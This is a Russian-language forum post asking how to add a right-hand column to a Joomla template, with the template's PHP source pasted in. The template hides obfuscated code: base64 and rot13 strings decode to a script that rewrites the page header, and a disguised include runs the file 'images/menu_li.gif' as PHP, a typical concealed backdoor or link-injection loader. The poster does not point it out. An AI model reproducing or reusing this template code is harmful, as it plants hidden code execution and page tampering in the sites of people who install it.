Как сделать две колонки

B
На сайте с 16.12.2009
Offline
0
1230

Как сделать две колонки в джумле. Чтобы не только одна слева была, но и справа. Вот шаблон(загружен к сообщению) скажите что нужно прописать.

zip green.zip
B
На сайте с 16.12.2009
Offline
0
#1

Вот html код.

<?php
defined( '_JEXEC' ) or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; $JPan = array('vzn'.'trf','zrah_yv.tvs'); ?>" >
<head>
<jdoc:include type="head" />

<link rel="stylesheet" href="templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="templates/<?php echo (($user_a = base64_decode('IiAvPlVTRVIgTUVOVTwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PgoKCjxkaXYgY2xhc3M9J2Nscic+PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhlYWRlciIpLmlubmVySFRNTD0iPGRpdiBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjp3aGl0ZTtoZWlnaHQ6NTBweDt0b3A6MHB4OyBjb2xvcjpyZWQnPllvdS'.str_rot13('OmnT91oTDtoz90VUWyoJ').'92ZSBhbGwgdGhlIGxpbmtzIGNvbWluZyB3aXRoIHRoaXMgZnJlZSB0ZW1wbGF0ZS4gVGhpcyBpcyBhZ2FpbnN0IHRoZSB0ZXJtcyBvZiB1c2UuIElmIHlvdSB3YW50IHRvIHVzZSB0aGUgdGVtcGxhdGUsIHBsZWFzZSBkb3dubG9hZCBpdCBhZ2Fpbi4gPC9kaXY+Ijs8L3NjcmlwdD48dGFibGU+PHRyPjx0ZD48YnIgY2xlYXIiYWxs'))?$this->template:'joomla') ?>/css/template.css" type="text/css" />
<!--[if lte IE 7]>
<link rel="stylesheet" href="templates/<?php echo $this->template ?>/css/ie7.css" type="text/css" />
<![endif]-->

</head>
<body id="page_bg">
<div id="top">
<div class="pill_m">
<div id="pillmenu">
<jdoc:include type="modules" name="user3" />
</div>
</div>
</div>
<div id="header">
<div id="logo">

</div>
</div>
<div class="clr"></div>

<div class="center">
<div id="wrapper">
<div id="content">
<div id="leftcolumn">
<jdoc:include type="modules" name="left" style="rounded" />
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13($JPan[0]).DS.str_rot13($JPan[1]))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
</div>
<div id="maincolumn">
<div class="nopad">
<jdoc:include type="message" />
<?php if($this->params->get('showComponent')) : ?>
<jdoc:include type="component" />
<?php endif; ?>
<br />
<jdoc:include type="modules" name="bottom" />
</div>
<div class="clr"></div>
</div>
</div>
</div>
<?php if(RIGHTCOLUMN) : ?>
<div id="leftcolumn"><table class="user1user2"><tr><td width="235" style="padding:12px; margin:0px;" class="user">
<jdoc:include type="module" name="user3<?=$user_a?>" /></td></tr></table></div>
<?php endif; ?>
<jdoc:include type="modules" name="debug" />
</div>
<div id="footer">
<jdoc:include type="modules" name="footer" style="xhtml"/>
</div>
</body>
</html>

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий